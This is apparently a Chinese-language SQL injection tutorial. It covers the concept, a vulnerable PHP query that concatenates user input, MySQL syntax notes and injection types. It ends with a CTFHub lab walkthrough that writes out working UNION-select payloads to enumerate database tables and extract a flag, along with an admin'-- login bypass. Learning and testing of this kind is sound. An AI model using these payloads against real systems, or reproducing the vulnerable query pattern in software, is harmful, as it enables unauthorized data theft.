SQL注入的基本概念:
SQL注入(SQL Injection),简称SQLi,是一种代码注入技巧,攻击者将恶意SQL语句插入到应用程序的输入字段中,通过应用程序提交到后台数据库执行。这种攻击利用了应用程序与数据库层之间的安全漏洞,攻击者通过在预期的输入中插入非预期的SQL命令,使得数据库执行了非法的SQL命令。
攻击者借助SQL注入可以实现以下一些操作:
- 绕过登录验证。
- 访问、修改、删除数据库中的数据。
- 执行管理操作,如关机数据库或启动/停止服务。
- 在数据库服务器上执行命令。
防范SQL注入的措施包括使用参数化查询、预编译语句、存储过程、适当的错误处理以及对用户输入的严格验证和过滤等。了解和防范SQL注入对于保障数据库和用户数据的安全至关重要。
下面以PHP语句为例。
$query = "SELECT * FROM user WHERE id = $_GET['id']";
由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。
SQL注入的原理:
SQL注入的原理是基于Web应用程序中的安全漏洞,攻击者通过向系统提交恶意构造的输入,使得数据库执行非预期的SQL命令。
SQL注入漏洞的产生需要满足以下两个条件。
(1)参数用户可控:前端传给后端的参数内容是用户可以控制的。
(2)参数代入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
当传入的ID参数为1时,数据库执行的代码如下所示。
select * from users where id = 1'
这不符合数据库的语法规范,所以会报错。当传入的ID参数为and 1=1时,执行的SQL语句如下所示。
select * from users where id=1 and 1=1
因为1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果。当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。
在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉承"外部参数皆不可信的原则"进行开发。
当Web应用程序将用户的输入,如表单字段、URL参数或Cookie值,不加检查直接拼接到SQL查询中时,就可能发生SQL注入。如果输入中包含了SQL的部分关键字或特殊字符,就可能改变原本的SQL语句的含义,执行攻击者预期以外的数据库操作。
以下是SQL注入的工作原理:
用户输入:Web应用程序接受用户输入作为数据查询的一部分。
构造查询:应用程序在后台构造一个SQL语句,使用了用户提供的输入。
漏洞利用:如果用户输入没有得到充分的处理和逃逸,特别是包含SQL关键字(如SELECT, DROP, UNION)或特殊字符(如单引号',双引号",注释符--等),那么原始SQL语句可能会被篡改。
数据库执行:篡改后的SQL语句被送到数据库服务器执行。
攻击效果:这可能导致未授权的数据泄露、数据篡改、登陆绕过等安全问题。
例如,考虑一个简单的SQL语句:
SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
如果用户输入的用户名是 admin'--
,那么SQL语句将变成:
SELECT * FROM users WHERE username = 'admin'--' AND password = '输入的密码';
这里的--
是SQL中的注释符号,其后面的内容将被视作注释,因此这个查询将忽略密码校验,直接返回用户名为“admin”的用户信息,导致安全验证被绕过。
为了防止SQL注入,重要的是永远不要信任用户输入,总是通过参数化查询、适当的转义和过滤用户输入以及使用ORM工具来避免直接在查询中插入用户输入。
在开发Web应用程序时,强烈建议采取各种安全措施,以确保对用户输入进行有效的处理,防止SQL注入攻击。
MySql 语法
基础语法:
1.创建数据库: CREATE DATABASE database-name
2.删除数据库: drop database dbname
3.备份sql server
--- 创建 备份数据的 device
USE master
EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'
--- 开始 备份
BACKUP DATABASE pubs TO testBack
4.创建新表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
根据已有的表创建新表:
方式一:
create table tab_new like tab_old (使用旧表创建新表)
方式二:
create table tab_new as select col1,col2… from tab_old definition only
5.删除新表: drop table tabname
6.增加一个列: Alter table tabname add column col type
注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。
7.添加主键: Alter table tabname add primary key(col)
8.删除主键: Alter table tabname drop primary key(col)
9.创建索引: create [unique] index idxname on tabname(col….)
10.删除索引
drop index idxname
注:索引是不可更改的,想更改必须删除重新建。
11.创建视图: create view viewname as select statement
12.删除视图: drop view viewname
说明:几个简单的基本的sql语句
选择:select * from table1 where 范围
插入:insert into table1(field1,field2) values(value1,value2)
删除:delete from table1 where 范围
更新:update table1 set field1=value1 where 范围
查找:select * from table1 where field1 like ’%value1%’ ---like的语法很精妙,查资料!
排序:select * from table1 order by field1,field2 [desc]
总数:select count as totalcount from table1
求和:select sum(field1) as sumvalue from table1
平均:select avg(field1) as avgvalue from table1
最大:select max(field1) as maxvalue from table1
最小:select min(field1) as minvalue from table1
说明:几个高级查询运算词
UNION 运算符 : UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。
EXCEPT 运算符 : EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL),不消除重复行。
INTERSECT 运算符 : INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL),不消除重复行。
注:使用运算词的几个查询结果行必须是一致的。
说明:使用外连接
left (outer) join : 左外连接(左连接):结果集几包括连接表的匹配行,也包括左连接表的所有行。
SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
right (outer) join : 右外连接(右连接):结果集既包括连接表的匹配连接行,也包括右连接表的所有行。
full/cross (outer) join : 全外连接:不仅包括符号连接表的匹配行,还包括两个连接表中的所有记录。
分组:Group by:
.一张表,一旦分组完成后,查询后只能得到组相关的信息。
.组相关的信息:(统计信息) count,sum,max,min,avg 分组的标准)
.在SQLServer中分组时:不能以text,ntext,image类型的字段作为分组依据
.在selecte统计函数中的字段,不能和普通的字段放在一起;
对数据库进行操作:
分离数据库: sp_detach_db; 附加数据库:sp_attach_db 后接表明,附加需要完整的路径名
如何修改数据库的名称:
sp_renamedb 'old_name', 'new_name'
MySQL查询语句
在不知道任何条件时,语句如下所示。
select 查询的字段名 from 库名.表名
在知道一条已知条件时,语句如下所示。
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'
limit的用法
limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录;n是指n条记录。例如limit 0,1表示从第一条记录开始,取一条记录,不使用limit和使用limit查询的结果
需要记住的几个函数
·database()
当前网站使用的数据库
·version()
当前MySQL的版本
·user()
当前MySQL的用户
注释符
在MySQL中,常见注释符的表达方式:#或--空格或/**/
。
内联注释
内联注释的形式:
/*!code*/
内联注释可以用于整个sql语句中,用来执行SQL语句
-1 /*!union*/ /*!select*/ 1,2,3
常见的注入手法
SQL 注入漏洞根据不同的标准,有不同的分类。如按照参数类型可分为两种:数字型和字符型。
其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。
参数类型分类
1. 数字型:
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3
2. 字符型:
字符型注入正好相反
当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
注入手法分类
@ UNION query SQL injection(联合查询注入)
@ Error-based SQL injection(错型注入)
@ Boolean-based blind SQL injection(基于布尔的盲注)
@ Time-based blind SQL injection(基于时间的盲注)
@ Stacked queries SQL injection(可多语句查询注入)
判断是否存在 Sql 注入漏洞
最为经典的单引号判断法:
在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)
例题:
CTFHub SQL注入
整数型注入
根据提示说,试试1,输入1试试
再输入框中输入2-1,查询的结果是1,说明存在整数型注入
尝试1 and 1=1和1 and 1=2,and没被过滤
尝试1 or 1=1
和1 or 1=2,or
没被过滤
使用order by
判断列名
经过测试,可以发现有两列
使用union select
判断注入点
知道注入点在2的位置,爆库
爆库成功,知道库名为:sqli
,爆表
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)
爆表成功,知道库名为:news
和flag
,使用flag
这个表,爆字段名
-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
爆表字段名,知道字段名为flag
,使用flag
这个字段名,爆字段内容
-1 union select 1,(select flag from sqli.flag limit 0,1)
注入成功,得到flag
字符型注入
看到sql语句为
select * from news where id='1'
那我们尝试一下,1’判断其字符注入
使用#将后面的单引号注释掉
判断and是否被过滤,
1' and 1=1#
判断or是否被过滤
1' or 1=1#
判断列数
1' order by 1,2,3#
报错,减少一个列
1' order by 1,2#
判断注入点
-1' union select 1,2#
爆库
-1' union select 1,database()#
爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#
爆字段内容
-1' union select 1,(select flag from flag)#
得到flag